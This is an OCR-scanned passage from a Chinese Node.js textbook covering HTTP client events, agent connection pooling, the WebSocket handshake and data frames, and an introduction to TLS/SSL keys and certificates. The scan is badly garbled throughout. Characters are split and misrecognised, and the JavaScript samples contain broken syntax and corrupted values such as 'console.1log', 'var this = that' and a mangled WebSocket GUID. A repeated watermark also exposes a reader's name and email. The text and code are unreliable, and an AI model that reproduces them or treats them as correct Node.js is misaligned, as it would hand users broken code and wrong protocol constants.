D connection 事 件 : 在 开始 HTTP 请 求 和 响应 前 ， 客 户 并 与 服务 絮 端 需要 建立 底层 的 TCP 连 
接 ， 这 个 连接 可 能 因为 开启 了 keep-alive, 可 以 在 多 次 请 求 啊 应 之 间 使 用 ; 当 这 个 连接 建 
并 时， 服务 右 触 发 一 次 connection 事 件 。 
口 request 事 件 : 建立 TCP 连 接 后 ，http 模 块 底 层 将 在 数据 流 中 抽象 出 HITTP 请 求 和 HTTP 响 
应 , 当 请 求 数据 发 送 到 服务 器 端 , 在 解析 出 HTTP 请 求 头 后 , 将 会 触发 该 事件 ; 在 res.end() 
后 ，TCP 连 接 可 能 将 用 于 下 一 次 请 求 啊 应 。 
口 close 事 件 : 与 TCP 服 务 需 的 行为 一 致 ， 调 用 server.close() 方 法 停止 接受 新 的 连接 ， 当 已 
有 的 连接 都 断 开 时 ， 触 发 该 事件 ; 可 以 给 server.close() 传 递 一 个 回调 函数 来 快速 注册 该 
事件 。 
口 checkContinue 事 件 : 某 些 客户 端 在 发 送 较 大 的 数据 时 ， 并 不 会 将 数据 直接 发 送 ， 而 是 先 
发 送 一 个 头 部 带 Expect: 100-continue 的 请 求 到 服务 希 ， 服 务 表 将 会 触发 checkContinue 
事件 ;如 果 没 有 为 服务 融 监 听 这 个 事件 ， 服 务 硕 将 会 月 动 啊 应 客户 端 100 Continue 的 状态 
人 码 ， 表 示 接 受 数 据 上 传 ， 如 果 不 接 受 数据 的 较 多 时 ， 啊 应 客户 端 400 Bad Request 拒 绝 客 
户 端 继续 发 送 数据 即 可 。 需 要 注意 的 是 ， 当 该 事件 发 生 时 不 会 触发 request 事 件 ， 两 个 事 
件 之 间 互 斥 。 当 客户 端 收 到 100 Continue 后 重新 发 起 请 求 时 ， 才 会 触发 request 事 件 。 
D connect 事 件 : 当 客 户 端 发 起 CONNECT 请 求 时 触发 ， 而 发 起 CONNECT 请 求 通 尝 在 HTTP 代理 时 
出 现 ; 如 采 不 监听 该 事件 ， 发 起 该 请 求 的 连接 将 会 关闭。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


7.3 构建 HITP 服务 161 


口 upgrade 事 件 : 当 客 户 端 要 求 升 级 连接 的 协议 时 ， 需 要 和 服务 需 端 协商 ， 客 户 册 会 在 请 求 
头 中 带 上 Upgrade 字 段 ， 服 务 需 端 会 在 接收 到 这 样 的 请 求 时 触发 该 事件 。 这 在 后 文 的 
WebSocket 部 分 有 详细 流程 的 介绍 。 如 采 不 监听 该 事件 ， 发 起 该 请 求 的 连接 将 会 关闭 。 

口 clientError 事 件 : 连接 的 客户 端 触 发 error 事 件 时 ， 这 个 错误 会 传递 到 服务 器 端 ， 此 时 触 
发 该 事件 。 


7.3.3 _ HTTP 客户 站 


在 对 服务 闪闪 的 实现 进行 了 摘 述 后 ，HTITP 客 户 端的 原理 几乎 不 用 再 摘 述 ， 因 为 它 就 是 服务 
融 端 服务 模型 的 另 一 部 分 ， 处 于 HTTP 的 另 一 端 ， 在 整个 报 文 的 参与 中 ， 报 文 头 和 报 文体 由 它 产 
生 。 同 时 http 模 块 提 供 了 一 个 底层 API: http.request(options, connect), 用 于 构造 HTTP 客 户 端 。 
下 面 的 示例 与 上 文 的 curl 命 令 大 致 相同 : 


var options = { 
hostname: “127.0.0.1 ， 


port: 1334， 

path: “/ ， 

method: “GET 
j 


var req = http.request(options, function(res) { 
console.log('STATUS: ”+ res.statusCode); 
console.log('HEADERS: ' + JSON.stringify(res.headers)); 
res.setEncoding('utf8"); 
res.on('data', function (chunk) { 

console.1log(chunk); 

}); 

}); 


req.end(); 
执行 上 述 代码 得 到 以 下 输出 : 


$ node client.]js 

STATUS: 200 

HEADERS: {"date":"Sat, 06 Apr 2013 11:08:01 

GMT", "connection":"keep-alive","transfer-encoding":"chunked"} 
Hello World 


其 中 options 参 数 决 定 了 这 个 HTTP 请 求 涉 中 的 内 容 ， 它 的 选项 有 如 下 这 些 。 
口 host: 服务 大 的 域名 或 IP 地 址 ， 默 认为 localhost。 

口 hostname: 服务 大 名 称 。 

D port: 服务 硕 端 口 ， 默 认为 80。 

口 localAddress: 建立 网 络 连 接 的 本 地 网 卡 。 

口 socketPath: Domain 套 接 字 路 径 。 

D method: HTTP 请 求 方法 ， 默 认为 GET。 

D path: 请 求 路 径 ， 默 认为 /。 
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口 headers: 请 求 尖 对 和 象 。 

口 auth: Basic 认 证 ， 这 个 值 将 被 计算 成 请 求 头 中 的 Authorization 部 分 。 

报 文 体 的 内 容 由 请 求 对 象 的 write() 和 end() 方 法 实现 : 通过 write() 方 法 向 连接 中 写 和 数据， 
通过 end() 方 法 告知 报 文 结束 。 它 与 浏览 器 中 的 Ajax 调 用 几 近 相同 ，Ajax 的 实质 就 是 一 个 异步 的 
网 络 HTTP 请 求 。 

1. HTTP 响 应 

HTTP 客 户 端的 啊 应 对 象 与 服务 需 端 较为 类 侯 ， 在 ClientRequest 对 象 中 ， 它 的 事件 叫做 
response。C1lientRequest 在 解析 啊 应 报 文 时 ， 一 解析 完 啊 应 头 就 触发 response 事 件 ， 同 时 传递 一 
个 啊 应 对 象 以 供 操作 ClientResponse。 后 续 啊 应 报 文 体 以 只 读 流 的 方式 提供 ， 如 下 所 示 : 


function(res) { 
console.log('STATUS: ' + res.statusCode); 
console.log('HEADERS: ”+ JSON.stringify(res.headers)); 
res.setEncoding('utf8'); 
res.on('data', function (chunk) { 

console.1log(chunk); 


}); 
l 


由 于 从 响应 读 取 数据 与 服务 器 端 ServerRequest 读 取 数 据 的 行为 较为 类 似 ， 此 处 不 再 歼 述 。 

2. HTTP 代理 

如 同 服务 器 端的 实现 一 般 ，http 提 供 的 ClientRequest 对 象 也 是 基于 TCP 层 实现 的 ， 在 
keepalive 的 情况 下 ,一 个 底层 会 话 连接 可 以 多 次 用 于 请 求 。 为 了 重用 TCP 连 接 ，http 模 块 包 含 一 
个 默认 的 客户 端 代理 对 象 http.globalAgent。 它 对 每 个 服务 融 端 (host+port ) 创建 的 连接 进行 了 
管理 ， 默 认 情 况 下 ， 通 过 ClientRequest 对 象 对 同一 个 服务 需 问 发 起 的 HTTP 请 求 最 多 可 以 创建 5 
个 连接 。 它 的 实质 是 一 个 连接 池 ， 示 意图 如 图 7-5 所 示 。 


代理 


图 7-5 _ HTTP 代理 对 服务 需 端 创建 的 连接 进行 管理 
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调用 HTTP 客 户 端 同时 对 一 个 服务 器 发 起 10 次 HTTP 请 求 时 ， 其 实质 只 有 5 个 请 求 处 于 并 发 状 
态 , 后 续 的 请 求 需要 等 符 某 个 请 求 完 成 服务 后 才 真正 发 出 。 这 与 浏览 硕 对 同一 个 域名 有 下 载 连接 
数 的 限制 是 相同 的 行为 。 

如 有 果 你 在 服务 胡 问 通过 ClientRequest 调 用 网 络 中 的 其 他 HTTP 服 务 ， 记 得 关注 代理 对 和 象 对 网 
络 请 求 的 限制 。 一 旦 请 求 量 过 大 ， 连 接 限制 将 会 限制 服务 性 能 。 如 需要 改变 ， 可 以 在 options 中 
传递 agent 选 项 。 默 认 情 况 下 ， 请 求 会 采用 全 局 的 代理 对 象 ， 默 认 连 接 数 限 制 的 为 5。 

我 们 既 可 以 目 行 构造 代理 对 象 ， 代 码 如 下 : 

var agent = new http.Agent({ 


maxSockets: 10 

}); 

var options = { 
hostname: “127.0.0.1 ， 
port: 1334， 
path: “/ ， 
method: “GET  ， 
agent: agent 


也 可 以 设置 agent 选 项 为 false 值 ， 以 脱离 连接 池 的 管理 ， 使 得 请 求 不 受 并 发 的 限制 。 
Agent 对 象 的 sockets 和 Tequests 属 性 分 别 表示 当前 连接 池 中 使 用 中 的 连接 数 和 处 于 等 竺 状态 
的 请 求 数 ， 在 业务 中 监视 这 两 个 值 有 助 于 发 现 业 务 状态 的 繁忙 程度 。 

3. HTTP 客 已 端 事件 

与 服务 器 端 对 应 的 ，HTTP 客 户 端 也 有 相应 的 事件 。 

D response: 与 服务 需 端 的 fequest 事 件 对 应 的 客户 端 在 请 求 发 出 后 得 到 服务 套 病 啊 应 时 ， 
会 触发 该 事件 。 

口 socket: 当 底 层 连 接 池 中 建立 的 连接 分 配给 当前 请 求 对 象 时 ， 触 发 该 事件 。 

口 connect: 当 客 户 端 向 服务 器 端 发 起 CONNECT 请 求 时 ， 如 果 服 务 器 端 响应 了 200 状 态 码 ， 客 
户 端 将 会 触发 该 事件 。 

Dupgrade: 客户 端 向 服务 融 端 发 起 Upgrade 请 求 时 ， 如 果 服 务 需 端 啊 应 了 101 Switching 
Protocols 状 态 ， 客 户 剖 将 会 触发 该 事件 。 

口 continue: 客户 端 向 服务 器 端 发 起 Expect: 100-continue 头 信息 ， 以 试图 发 送 较 大 数据 量 ， 
如 果 服 务 嚣 端 响 应 100 Continue 状态， 客户 端 将 触发 该 事件 。 


7.4 构建 WebSocket 服务 


提 到 Node， 不 能 错过 的 是 WebSocket 协 议 。 它 与 Node 之 间 的 配合 堪 称 完美 ， 其 理由 有 两 条 。 

口 WebSocket 客 户 端 基 于 事件 的 编程 模型 与 Node 中 自 定 义 事件 相差 无 几 。 

口 WebSocket 实 现 了 客户 端 与 服务 需 端 之 间 的 长 连接 , 而 Node 事 件 驱 动 的 方式 十 分 擅长 与 大 
量 的 客户 端 保 持 高 并 发 连接 。 

除 此 之 外 ，WebSocket 与 传统 HTTP 有 如 下 好 处 。 
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口 客户 并 与 服务 器 端 只 建立 一 个 TCP 连 接 ， 可 以 使 用 更 少 的 连接 。 

口 WebSocket 服 务 顺 端 可 以 推送 数据 到 客户 端 ， 这 远 比 HTTP 请 求 啊 应 模式 更 灵活 、 更 高 效 。 

口 有 更 轻 量 级 的 协议 头 ， 减 少数 据 传送 量 。 

WebSocket 最 早 是 作为 HTML5 重 要 特性 而 出 现 的 ， 最 终 在 W3C 和 IETF 的 推动 下 ， 形 成 RFC 
6455 规 范 。 现 代 训 览 硕 大 多 都 文 持 WebSocket 协 以 , 接 下 来 我 们 用 一 段 代 码 来 展现 WebSocket 在 客 
户 病 的 应 用 示例 : 

var socket = new WebSocket('ws://127.0.0.1:12010/updates' ) ; 

socket.onopen = function () { 

setInterval(function() { 
if (socket.bufferedAmount == 0) 


socket.send(getUpdateData()); 
}, 50); 


人 = function (event) { 
// TODO: event.data 

}; 

上 述 代码 中 ， 浏 览 絮 与 服务 器 端 创建 WebSocket 协 议 请 求 ， 在 请 求 完 成 后 连接 打开 ， 每 50 片 
秒 向 服务 器 端 发 送 一 次 数据 ， 同 时 可 以 通过 onmessage() 方 法 接收 服务 器 端 传 来 的 数据 。 这 行为 
与 TCP 客 户 端 十 分 相似 ， 相 较 于 HTTP， 它 能 够 双 辐 通信。 浏览 需 一 旦 能 够 使 用 WebSocket， 可 以 
想象 应 用 的 使 用 空间 极 大 。 

在 WebSocket 之 前 ,网 页 客户 端 与 服务 融 闪 进行 通信 最 高 效 的 是 Comet 技 术 。 实 现 Comet 技 术 
的 细节 是 采用 长 轮 询 (long-polling ) 或 ifame 流 。 长 轮 询 的 原理 是 客户 端 癌 服务 俘 端 发 起 请 求 ， 
服务 器 端 只 在 超时 或 有 数据 响应 时 断 开 连接 (res.end() ); 客户 端 在 收 到 数据 或 者 超时 后 重新 发 
起 请 求 。 这 个 请 求 行为 拖 看 长 长 的 尾巴 ， 是 故 用 Comet ( 靳 星 ) 来 命名 它 。 

使 用 WebSocket 的 话 ， 网 页 客户 端 只 需 一 个 TCP 连 接 即 可 完成 双向 通信 ， 在 服务 器 端 与 客户 
疝 频 繁 通信 时 ， 无 须 频 繁 断 开 连 接 和 重 发 请 求 。 连 接 可 以 得 到 高 效应 用 ， 编 程 模 型 也 十 分 简洁 。 

亲 文 也 或 多 或 少 提 到 了 WebSocket 与 HTTP 的 区 别 , 相 比 HTTP，WebSocket 更 接近 于 传输 层 协 
以 ， 它 并 没有 在 HITP 的 基础 上 模拟 服务 着 端的 推送 ， 而 是 在 TCP 上 定义 独立 的 协 以 。 计 人 迷惑 
的 部 分 在 于 WebSocket 的 握手 部 分 是 由 HITP 完 成 的 ， 使 人 党 得 它 可 能 是 基于 HTTP 实 现 的 。 

WebSocket 协 议 主要 分 为 两 个 部 分 : 握手 和 数据 传输 。 下 面 我 们 来 详细 说 一 说 这 两 个 部 分 。 


7.4.1 WebSocket 握 手 


客户 端 建立 连接 时 ， 通 过 HTTP 发 起 请 求 报 文 ， 如 下 所 示 : 


GET /chat HTTP/1.1 

Host: server.example.com 

Upgrade: websocket 

Connection: Upgrade 

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZ20== 
Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


7.4 构建 WebSocket 服务 165 


与 普通 的 HITP 请 求 协 议 略 有 区 别 的 部 分 在 于 如 下 这 些 协议 头 : 


Upgrade: websocket 
Connection: Upgrade 


上 述 两 个 字段 表示 请 求 服务 需 端 升级 协议 为 WebSocket。 其 中 Sec-Websocket-Key 用 于 安全 


校 验 : 


Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25]jZQ== 

Sec-WebSocket-Key 的 值 是 随机 生成 的 Base64 编 码 的 字符 串 。 服务 磊 病 接收 到 之 后 将 其 与 字符 
串 258EAFA5-E914-47DA-95CA-C5ABODC85B11 相 连 ， 形 成 字符 串 dGh1IHNhbXBsZSBub25jZQ==258EAFA5- 
E914-47DA-95CA-C5ABODC85B11， 然 后 通过 shal 安 全 散 列 算法 计算 出 结果 后 ， 青 进行 Base64 编 码 ， 
最 后 返回 给 客户 问 。 这 个 算法 如 下 所 示 : 


var crypto = require('crypto'); 
var val = crypto.createHash('sha1').update(key).digest('base64'); 


为 外 ， 下 面 两 个 字段 指定 子 协议 和 版 本 号 : 


Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 


服务 融 端 在 处 理 完 请 求 后 ， 啊 应 如 下 报 文 : 


HTTP/1.1 101 Switching Protocols 

Upgrade: websocket 

Connection: Upgrade 

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+x0o= 
Sec-WebSocket-Protocol: chat 


上 上面 的 报 文告 之 客户 端正 在 更 换 协 议 ， 更 新 应 用 层 协议 为 WebSocket 协 议 ， 并 在 当前 的 套 接 
字 连 接 上 应 用 新 协议 。 剩 余 的 字段 分 别 表 示 服 务 髓 端 基 于 Sec-WebSsocket-Key 生 成 的 字符 串 和 选中 
的 子 协 议 。 客 户 端 将 会 校 验 Sec-Websocket-Accept 的 值 ， 如 果 成 功 ， 将 开始 接 下 来 的 数据 传输 。 
这 里 我 们 用 Node 模 拟 浏 览 妖 发 起 协议 切换 的 行为 ， 代 人 码 如 下 : 


var WebSocket = function (url) { 
// 伪 人 代码， 解析 ws://127.0.0.1:12010/updates， 用 于 请 求 
this.options = parseUrl(ur]); 
this.connect(); 


WebSocket.prototype.onopen = function () { 
// TODO 
}; 


WebSocket.prototype.setSocket = function (socket) { 
this.socket = socket; 


}; 


WebSocket.prototype.connect = function () { 
var this = that; 
var key = new Buffer(this.options.protocolVersion + '-' + Date.now()).toString('base64'); 
var shasum = crypto.createHash('sha1'); 
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var expected = shasum.update(key + '258EAFA5-E914-47DA-95CA-C5ABODC85B11' ) .digest( base64 ); 


var options = { 

port: this.options.port, // 12010 

host: this.options.hostname, // 127.0.0.1 

headers: { 
'Connection': 'Upgrade', 
Upgrade : “websocket ， 
'Sec-WebSocket-Version': this.options.protocolVersion, 
‘Sec-WebSocket-Key': key 


var req = http.request(options); 
req.end(); 


req.on('upgrade', function(res, socket, upgradeHead) { 
// 连接 成 功 
that.setSocket(socket); 
// 触发 open 事 件 
that .onopen(); 
}); 
}; 


下 面 是 服务 帝 闪 的 啊 应 行为 : 

var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}); 


server.listen(12010); 


// 在 收 到 upgrade 请 求 后 ， 告 之 客户 痛 允 许 切 换 协 议 
server.on('upgrade', function (req, socket, upgradeHead) { 
var head = new Buffer(upgradeHead.1length); 
upgradeHead.copy (head); 
var key = req.headers|['sec-websocket-key' |]; 
var shasum = crypto.createHash('sha1'); 
key = shasum.update(key + "258EAFA5-E914-47DA-95CA-C5ABODC85B11" ) .digest('base64'); 
var headers = | 
"HTTP/1.1 101 Switching Protocols ， 
"Upgrade: websocket ， 
Connection: Upgrade ， 
‘Sec-WebSocket-Accept: ' + key， 
'Sec-WebSocket-Protocol: ”+ protocol 
Jj; 
// 让 数据 立即 发 送 
socket .setNoDelay(true); 
socket .write(headers.concat('', '').join('\r\n')); 
// 建立 服务 器 阁 WebSocket 连 接 
var websocket = new WebSocket(); 
websocket.setSocket(socket); 


}); 
一 旦 WebSocket 握 手 成 功 ， 服 务 硕 端 与 客户 闪 将 会 呈现 对 等 的 效果 ， 都 能 接收 和 发 送 消息 。 
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7.4.2 WebSocket 数 据 传输 


在 握手 顺利 完成 后 ， 当 前 连接 将 不 再 进行 HTTP 的 交互 ， 而 是 开始 WebSocket 的 数据 帧 协议 ， 
实现 客户 闪 与 服务 骨 问 的 数据 交换 。 图 7-6 为 协议 升级 过 程 示 意图 。 


WebSocket 


数据 传输 


图 7-6 ”协议 升级 过 程 示 意图 
握手 完成 后 ， 客 户 端 的 onopen() 将 会 被 触发 执行 ， 代 码 如 下 : 


socket.onopen = function () { 
// TODO: opened() 


服务 器 端 则 没有 onopen() 方 法 可 言 。 为 了 完成 TCP 套 接 字 事 件 到 WebSocket 事 件 的 封装 , 需要 
在 接收 数据 时 进行 处 理 ，WebSocket 的 数据 帧 协议 即 是 在 底层 data 事 件 上 封装 完成 的 , 代码 如 下 : 
WebSocket .prototype.setSocket = function (socket) { 


this.socket = socket ; 
this.socket.on('data', this.receiver); 


}; 

同样 的 数据 发 送 时 ， 也 需要 做 封 汉 操 作 ， 代 人 码 如 下 : 
WebSocket .prototype.send = function (data) { 

this. send(data); 


}; 
BD ~LD 


当 客 户 端 调用 send() 发 送 数据 时 ， 服 务 锅 端 触发 onmessage(); 当 服 务 需 端 调 用 send() 发 送 数 
据 时 ,客户 端的 onmessage() 触 发 。 当 我 们 调用 send() 发送 一 条 数据 时 , 协议 可 能 将 这 个 数据 封装 
为 一 帧 或 多 帧 数据 ， 然 后 逐 帧 发 送 。 

为 了 安全 考虑 ,客户 端 需要 对 发 送 的 数据 帧 进行 掩 但 处 理 ， 服 务 天 一 旦 收 到 无 掩 码 帧 (比如 
中 间 拦 规 破 坏 )， 连 接 将 关 财 。 而 服务 大 发 送 到 客户 端的 数据 帧 则 无 须 做 掩 码 处 理 ， 同 样 ， 如 果 
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客户 闯 收 到 寓 掩 码 的 数据 帧 ， 连 接 也 将 关闭。 

我 们 以 客户 端 发 送 hello wor1d! 到 服务 俘 闪 ， 服 务 胡 闯 回 以 yakexi 作 为 一 个 流程 来 研究 数据 
帧 协议 的 实现 过 程 。 

图 7-7 中 为 WebSocket 效 据 帧 的 定义 ， 每 8 位 为 一 列 ， 也 即 1 个 凶 市 。 其 中 每 一 位 郡 有 它 的 


1 T | 
| | | 1 
三 三 | 一 一 一 车 -一 :本 
| | 1 | 
| i L -了 3 
| | | | 
| | | | 
下 | 五 站 
! payload masking 1 payload | | payload 
payload ~-- length key data 7- data 
length | | | | | 
I I | I 1 1 
| | | | 
cl 一 -一 车 学 司 
| | ! | 
El | 上 一 于 
| | | 1 
ES 一 于 


图 7-7 WebSocket 数据 帧 的 定义 


D fin: 如 果 这 个 数据 帧 是 最 后 一 帧 ， 这 个 fin 位 为 1， 其 余 情况 为 0。 当 一 个 数据 没有 被 分 为 
多 帧 时 ， 它 既是 第 一 帧 也 是 最 后 一 帧 。 
口 rsv1、rsv2、Isv3: 各 为 1 位 长 ，3 个 标识 用 于 扩展 ， 当 有 已 协商 的 扩展 时 ， 这 些 值 可 能 ; 
1， 其 余 情况 为 0。 
口 opcode: 长 为 4 位 的 操作 码 ， 可 以 用 来 表示 0 到 15 的 什 ， 用 于 解释 当前 数据 帧 。0 表 示 附 加 
数据 帧 ，1 表 示 文 本 数据 帧 ，2 表 示 二 进 制 数据 帧 ，8 表 示 发 送 一 个 连接 关闭 的 数据 帧 ，9 
表示 ping 数 据 帧 ，10 表 示 pong 数 据 帧 ， 其 余 值 暂时 没有 定义 。ping 数 据 帧 和 pong 数 据 帧 用 
于 心跳 检测 ， 当 一 端 发 送 ping 数 据 帧 时 ， 另 一 端 必 须发 送 pong 数 据 帧 作为 啊 应 ， 告 知 对 方 
这 一 端 仍然 处 于 啊 应 状态 。 
D masked: 表示 是 否 进 行 撼 公 处 理 , 长 度 为 1。 客 户 端 发 送 给 服务 硕 问 时 为 1， 服 务 硕 端 发 送 
给 客户 问 时 为 0。 
口 payload length: 一 个 7、7+16 或 7+64 位 长 的 数据 位 ， 标 识 数据 的 长 度 ， 如 果 值 在 0~125 
之 间 , 那么 该 值 就 是 数据 的 真实 长 度 ; 如 果 值 是 126, 则 后 面 16 位 的 值 是 数据 的 真实 长 度 ; 
如 果 值 是 127， 则 后 面 64 位 的 值 是 数据 的 真实 长 度 。 
D masking key: 当 masked 为 1 时 存在 ， 是 一 个 32 位 长 的 数据 位 ， 用 于 解密 效 据 。 
口 payload data: 我 们 的 目标 数据 ， 位 数 为 8 的 倍数 。 
客户 端 发 送 消 息 时 ， 需 要 构造 一 个 或 多 个 数据 帧 协议 报 文 。 由 于 hello world! 较 短 ， 不 存在 
分 割 为 多 个 数据 帧 的 情况 ， 又 由 于 hello world! 会 以 文本 的 方式 发 送 ， 它 的 payload length 长 度 
为 96( 12 字 市 x 8 位 / 子 市 )， 二 进 制 表示 为 1100000。 所 以 报 文 应 当 如 下 : 


fin(1) + res(000) + opcode(0001) + masked(1) + payload length(1100000) + masking key(32 位 ) + payload 
data(hello world! 加 密语 的 二 进 制 ) 
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当 以 文本 方式 发 送 时 ， 文 本 的 编码 为 UTF-8， 由 于 这 里 发 送 的 不 存在 中 文 ， 所 以 一 个 字符 占 
= 8 

客户 端 发 送 消息 后 , 服务 硕 端 在 data 事 件 中 接收 到 这 些 编 但 数据 , 然后 解析 为 相应 的 数据 帧 ， 
再 以 数据 帧 的 格式 ， 通 过 捧 码 将 真正 的 数据 解密 出 来 ， 然 后 触发 onmessage() 执 行 ， 如 下 所 示 : 


socket .onmessage = function (event) { 
// TODO: event .data 


服务 需 问 再 回复 yakexi 的 时 候 ， 剩 下 的 事情 就 是 无 顷 掩 码 ， 其 余 相 同 ， 如 下 所 示 : 

fin(1) + res(000) + opcode(0001) + masked(0) + payload length(1100000) + payload data(yakexi 的 二 进 制 ) 

这 里 的 行为 与 纯 TCP 连 接 的 行为 十 分 类 做， 近似 地 可 以 理解 为 TCP 客 户 端 套 接 字 的 connect 
事件 和 data 事 件 。 

至 此 ，WebSocket 的 原理 介绍 完毕 ， 有 具体 如 何 解析 数据 帧 和 触发 onmessage() ， 请 参考 ws 模块 
的 实现 ， 由 于 其 有 过 多 细节 ， 这 里 不 再 展开 描述 。 


7.4.3 小结 


在 所 有 的 WebSocket 服 务 套 端 实现 中 ， 没 有 比 Node 更 贴近 WebSocket 的 使 用 方式 了 。 它 们 的 
共性 有 以 下 内 容 。 

口 基于 事件 的 编程 接口 。 

口 基于 JavaScript， 以 封装 恨 好 的 WebSocket 实 现 ，API 与 客户 端 可 以 高 度 相 似 。 

另外 ，Node 基 于 事件 驱动 的 方式 使 得 它 应 对 WebSocket 这 类 长 连接 的 应 用 场景 可 以 轻松 地 处 
理 大 量 并 发 请 求 。 尺 管 Node 没 有 内 置 WebSocket 的 库 ， 但 是 社区 的 ws 模块 封装 了 WebSocket 的 底 
层 实现 。socket.io 即 是 在 它 的 基础 上 构建 实现 的 。 


7.5 网 络 服务 与 安全 


在 网 络 中 ,数据 在 服务 右 问 和 客户 闹 之 间 传 递 ， 由 于 是 明文 传递 的 内 容 , 一 旦 在 网 络 被 人 监 
控 , 数据 就 可 能 一 览 无 余地 展现 在 中 间 的 禄 听 者 面前 。 为 此 我 们 需要 将 数据 加 密 后 再 进行 网 络 传 
输 ， 这 样 即使 数据 被 截获 和 入 听 ,和食 听 者 也 无 法 知道 数据 的 真实 内 容 是 什么 。 但 是 对 于 我 们 的 应 
用 层 协议 而 言 ， 如 HTTP、FTP 等 ， 我 们 仍然 希望 能 够 透明 地 处 理 数据 ， 而 无 顷 操心 网 络 传输 过 
程 中 的 安全 问题 。 在 网 景 公司 的 NetScape 浏 览 各 推出 之 初 就 提出 了 SSL ( Secure Sockets Layer， 
安全 和 父 接 层 )。SSL 作 为 一 种 安全 协议 ， 它 在 传输 层 提供 对 网 络 连 接 加 密 的 功能 。 对 于 应 用 层 而 
言 ， 它 是 透明 的 ， 数 据 在 传递 到 应 用 层 之 前 就 已 经 完成 了 加 密 和 解密 的 过 程 。 最 初 的 SSL 应 用 在 
Web 上 ， 被 服务 右 问 和 浏览 右 问 同时 支持 ， 随 后 IETF 将 其 标准 化 ， 称 为 TLS (Transport Layer 
Security， 安 全 传输 层 协 议 )。 

Node 在 网 络 安全 上 提供 了 3 个 模块 ， 分别 为 crypto、tls、https。 其 中 crypto 主 要 用 于 加 
密 解 密 ，SHA1、MD5 等 加 密 算 法 都 在 其 中 有 体现 , 在 这 里 我 们 不 用 再 提 。 真 正 用 于 网 络 的 是 
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另外 两 个 模块 ，tls 模 块 提供 了 与 net 模 块 类 似 的 功能 ， 区 别 在 于 它 建立 在 TLS/SSL 加 密 的 TCP 
连接 上 。 对 于 https 而 言 ， 它 完全 与 http 模 块 接口 一 致 ， 区 别 也 仅 在 于 它 建 立 于 安全 的 连接 
2 


7.5.1 TLS/SSL 


1. 密 钥 

TLS/SSL 是 一 个 公 钥 / 私 钥 的 结构 , 它 是 一 个 非 对 称 的 结构 , 每 个 服务 胡 端 和 客户 端 部 有 日 己 
的 公私 钥 。 公 钥 用 来 加 密 要 传输 的 数据 ， 私 钥 用 来 解密 接收 到 的 数据 。 公 钥 和 私 钥 是 配对 的 ， 通 
过 公 钥 加 密 的 数据 ， 只 有 通过 私 钥 才能 解密 ,所 以 在 建立 安全 传输 之 前 ， 客 户 端 和 服务 硕 端 之 间 
需要 互 换 公 钥 。 客 户 站 发 送 数据 时 要 通过 服务 胡 冰 的 公 钥 进行 加 密 ,， 服务 天 站 发 送 数据 时 则 需要 
客户 端的 公 饥 进行 加 密 ， 如 此 才能 完成 加 密 解密 的 过 程 ， 如 图 7-8 所 示 。 


加 密 解密 
服务 器 端 公 钥 传输 服务 器 端 私 铀 ~、 
解密 加 密 


传输 客户 端 公 钥 


客户 端 私 铀 


图 7-8 ”客户 端 和 服务 右 端 交换 密 钥 


Node 在 底层 采用 的 是 openssl 实 现 TLS/SSL 的 ,为 此 要 生成 公 钥 和 私 钥 可 以 通过 openssl 完 成 。 
我 们 分 别 为 服务 胡 问 和 客户 端 生成 私 钥 ， 如 下 所 未: 

// 生成 服务 器 菇 私 钥 

$ openssl genrsa -out server.key 1024 

// 生成 客户 疼 私 铀 

$ openssl genrsa -out client.key 1024 


上 述 命 令 生 成 了 两 个 1024 位 长 的 RSA 私 钥 文 件 ， 我 们 可 以 通过 它 继续 生成 公 钥 ， 如 下 所 示 : 


$ openssl rsa -in server.key -pubout -out server.pem 
$ openssl rsa -in client.key -pubout -out client.pem 


公私 钥 的 非 对 称 加 密 虽 好 , 但 是 网 络 中 依然 可 能 存在 狗 听 的 情况 , 典型 的 例子 是 中 间 人 攻击 。 
客户 闫 和 服务 硕 端 在 交换 公 钥 的 过 程 中 , 中 间 人 对 客户 端 扮演 服务 硕 商 的 角色 ,对 服务 硕 端 扮演 
客户 病 的 角色 ， 因 此 客户 问 和 服务 冲 病 几乎 感受 不 到 中 间 人 的 存在 。 为 了 解决 这 种 问题 ,数据 传 
输 过 程 中 还 需要 对 得 到 的 公 钥 进行 认证 ,以 确认 得 到 的 公 钥 是 出 目 目 标 服 务 融 。 如 有 果 不 能 保证 这 
种 认证 ， 中 间 人 可 能 会 将 伪造 的 基点 啊 应 给 用 户 ， 从 而 造成 经 济 损失 。 图 7-9 是 中 间 人 攻击 的 示 
意图 。 
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“、、_ [伪装 的 
服务 器 站 


图 7-9 中间人 攻击 示意 图 


为 了 解决 这 个 问题 ，TLSSSL 引 和 了 数字 证 书 来 进行 认证 。 与 二 接 用 公 角 不同， 数字 证 书 中 
包含 了 服务 硕 的 名 称 和 主机 名 、 服 务 硕 的 公 钥 、 签 名 颁发 机 构 的 名 称 、 来 目 签名 颁发 机 构 的 签名 。 
在 连接 建立 前 ， 会 通过 证 书 中 的 签名 确认 收 到 的 公 钥 是 来 目 目 标 服务 带 的 ， 从 而 产生 信任 关系 。 

2. 数字 证 书 

为 了 确保 我 们 的 数据 安全 ， 现 在 我 们 引入 了 一 个 第 三 方 : CA(〈 Certificate Authority， 数 字 证 
书 认证 中 心 ) CA 的 作用 是 为 站 点 颁发 证 书 ， 且 这 个 证 书 中 具有 CA 通过 目 己 的 公 铀 和 私 钥 实现 
的 签名 。 

为 了 得 到 签名 证 书 ， 服 务 右 端 需要 通过 自己 的 私 钥 生 成 CSR (Certificate Signing Request， 证 
书签 名 请 求 ) 文件 。CA 机 构 将 通过 这 个 文件 颁发 属于 该 服务 大 端的 签名 证 书 ， 只 要 通过 CA 机 构 
就 能 验证 证 书 是 否 合 法 。 

通过 CA 机 构 颁 发 证 书 通常 是 一 个 烦琐 的 过 程 ， 需 要 付出 一 定 的 精力 和 费用 。 对 于 中 小 型 企业 
而 言 ， 多 半 是 采用 目 签 名 证 书 来 构建 安全 网 络 的 。 所 谓 目 签 名 证 书 , 就 是 目 己 扮演 CA 机 构 , 给 日 
